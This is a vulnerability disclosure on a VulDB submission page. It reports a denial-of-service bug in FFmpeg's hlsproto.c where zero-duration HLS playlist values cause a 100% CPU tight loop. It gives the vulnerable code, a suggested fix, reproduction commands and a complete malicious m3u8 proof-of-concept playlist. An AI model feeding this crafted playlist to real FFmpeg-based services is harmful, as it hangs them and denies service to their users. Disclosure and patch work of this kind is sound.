| Titel | FFmpeg FFmpeg ≤ 8.0.x Denial of Service |
|---|
| Beschreibung | Summary
The parse_playlist() function in libavformat/hlsproto.c lacks validation for EXTINF duration and EXT-X-TARGETDURATION values. When these values are 0 or negative, the hls_read() function enters a tight loop, causing 100% CPU usage (Denial of Service). This is an incomplete fix pattern - the same issue was fixed in hls.c (commit 6959358683c7533f586c07a766acc5fe9544d8b2) but the fix was not applied to hlsproto.c.
Vulnerability Details
Location
File: libavformat/hlsproto.c
Functions: parse_playlist() and hls_read()
Lines: 133, 140, 150, 265-267, 271, 277, 289
Vulnerable Code
Duration parsing without validation (parse_playlist):
// Line 133: target_duration parsing - NO VALIDATION
} else if (av_strstart(line, "#EXT-X-TARGETDURATION:", &ptr)) {
s->target_duration = atoi(ptr) * AV_TIME_BASE;
// Line 138-140: segment duration parsing - NO VALIDATION
} else if (av_strstart(line, "#EXTINF:", &ptr)) {
is_segment = 1;
duration = atof(ptr) * AV_TIME_BASE;
// Line 150: stored without validation
seg->duration = duration;
Duration used in hls_read() causing tight loop:
// Line 265-267: reload_interval set from segment duration
reload_interval = s->n_segments > 0 ?
s->segments[s->n_segments - 1]->duration :
s->target_duration;
// Line 271: condition ALWAYS TRUE when reload_interval = 0
if (now - s->last_load_time >= reload_interval) {
if ((ret = parse_playlist(h, s->playlisturl)) < 0)
return ret;
// Line 277: reset to target_duration / 2 = 0
reload_interval = s->target_duration / 2;
}
// Line 286-294: when all segments consumed
if (s->cur_seq_no - s->start_seq_no >= s->n_segments) {
if (s->finished)
return AVERROR_EOF;
// Line 289: condition ALWAYS FALSE when reload_interval = 0
while (av_gettime_relative() - s->last_load_time < reload_interval) {
if (ff_check_interrupt(&h->interrupt_callback))
return AVERROR_EXIT;
av_usleep(100*1000); // SKIPPED when reload_interval = 0!
}
goto retry; // Immediate retry -> TIGHT LOOP
}
Issue Description
duration and target_duration are parsed from user-controlled input without validation
When #EXT-X-TARGETDURATION:0 and #EXTINF:0 are in the playlist, both values become 0
reload_interval is set to 0 (line 265 and 277)
The condition now - last_load_time >= 0 at line 271 is always true
The while loop at line 289 with condition < 0 is always false, skipping the av_usleep()
goto retry causes an infinite tight loop calling parse_playlist() repeatedly
CPU usage reaches 100%
Similar Fixed Vulnerability
Reference commit 6959358683c7533f586c07a766acc5fe9544d8b2 for hls.c:
+ if (duration < 0.001 * AV_TIME_BASE) {
+ duration = 0.001 * AV_TIME_BASE;
+ }
seg->duration = duration;
This fix was applied to hls.c but NOT to hlsproto.c, leaving it vulnerable.
Suggested Fix
Apply the same fix as hls.c:
// After line 140 (duration parsing):
} else if (av_strstart(line, "#EXTINF:", &ptr)) {
is_segment = 1;
duration = atof(ptr) * AV_TIME_BASE;
if (duration < 0.001 * AV_TIME_BASE) {
av_log(h, AV_LOG_WARNING,
"EXTINF duration too small, setting to 1ms\n");
duration = 0.001 * AV_TIME_BASE;
}
// After line 133 (target_duration parsing):
} else if (av_strstart(line, "#EXT-X-TARGETDURATION:", &ptr)) {
s->target_duration = atoi(ptr) * AV_TIME_BASE;
if (s->target_duration < 0.001 * AV_TIME_BASE) {
s->target_duration = 0.001 * AV_TIME_BASE;
}
Reproduction
Generate PoC Files
python3 generate_poc.py
Trigger the Vulnerability
./trigger_vuln.sh
Manual Verification
Method 1: Exit Code Check (Most Reliable)
cd /home/qky/github_repo/FFmpeg
unset http_proxy https_proxy HTTP_PROXY HTTPS_PROXY
timeout 3 ./ffmpeg -v warning -i "hls+file://$(pwd)/poc/rec0o18PcF/output/poc_tight_loop.m3u8" -f null -
echo "Exit code: $?"
If exit code is 124, it confirms the process was killed by timeout after being stuck in a tight loop.
Method 2: Call Count Statistics
timeout 3 ./ffmpeg -v debug -i "hls+file://..." -f null - 2>&1 | grep -c "Statistics: 155 bytes read"
Each count represents one parse_playlist() call.
Note: In some environments (e.g., VS Code integrated terminal with DEBUG trap), the call count method may show 0 due to pipe/redirection issues. In such cases, use Method 1 (exit code check) as the primary verification.
Test Results
Environment A (Standard Terminal):
PoC File parse_playlist() calls in 3s
poc_tight_loop.m3u8 (duration=0) 55,045
poc_normal.m3u8 (duration=5) 1
Ratio: 55,045x more calls - vulnerability confirmed!
Environment B (VS Code Terminal with trap):
PoC File Result
poc_tight_loop.m3u8 TIMEOUT (exit=124)
poc_normal.m3u8 TIMEOUT (exit=124)
Both timeout, but for different reasons:
poc_tight_loop: Timeout due to tight loop (CPU ~100%)
poc_normal: Timeout due to normal wait for reload_interval=5s (CPU ~0%)
CPU Time Verification:
time timeout 3 ./ffmpeg -v warning -i "hls+file://.../poc_tight_loop.m3u8" -f null -
# user time ≈ 3s (tight loop consuming CPU)
time timeout 3 ./ffmpeg -v warning -i "hls+file://.../poc_normal.m3u8" -f null -
# user time ≈ 0s (sleeping, not consuming CPU)
PoC File Structure (poc_tight_loop.m3u8)
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:0
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:0,
file:///nonexistent_file_1.ts
#EXTINF:0,
file:///nonexistent_file_2.ts
Key elements:
EXT-X-TARGETDURATION:0 - sets target_duration to 0
EXTINF:0 - sets segment duration to 0
No EXT-X-ENDLIST - simulates live stream (s->finished = 0)
Invalid segment URLs - triggers the retry path
Severity
High - Denial of Service
Impact: 100% CPU usage, application freeze/hang
Attack Complexity: Low (simple malicious m3u8 file)
User Interaction: Required (user must open malicious URL)
Scope: Local DoS affecting the FFmpeg process
References
Related fix in hls.c: github.com/FFmpeg/FFmpeg@6959358683 |
|---|
| Quelle | ⚠️ https://code.ffmpeg.org/FFmpeg/FFmpeg/issues/21492 |
|---|
| Benutzer | Kery Qi (UID 94424) |
|---|
| Einreichung | 11.08.2026 11:23 (vor 1 Monat) |
|---|
| Moderieren | 13.09.2026 18:32 (1 month later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 403318 [FFmpeg 8.0.x Duration Parser libavformat/hlsproto.c parse_playlist duration/target_duration Denial of Service] |
|---|
| Punkte | 20 |
|---|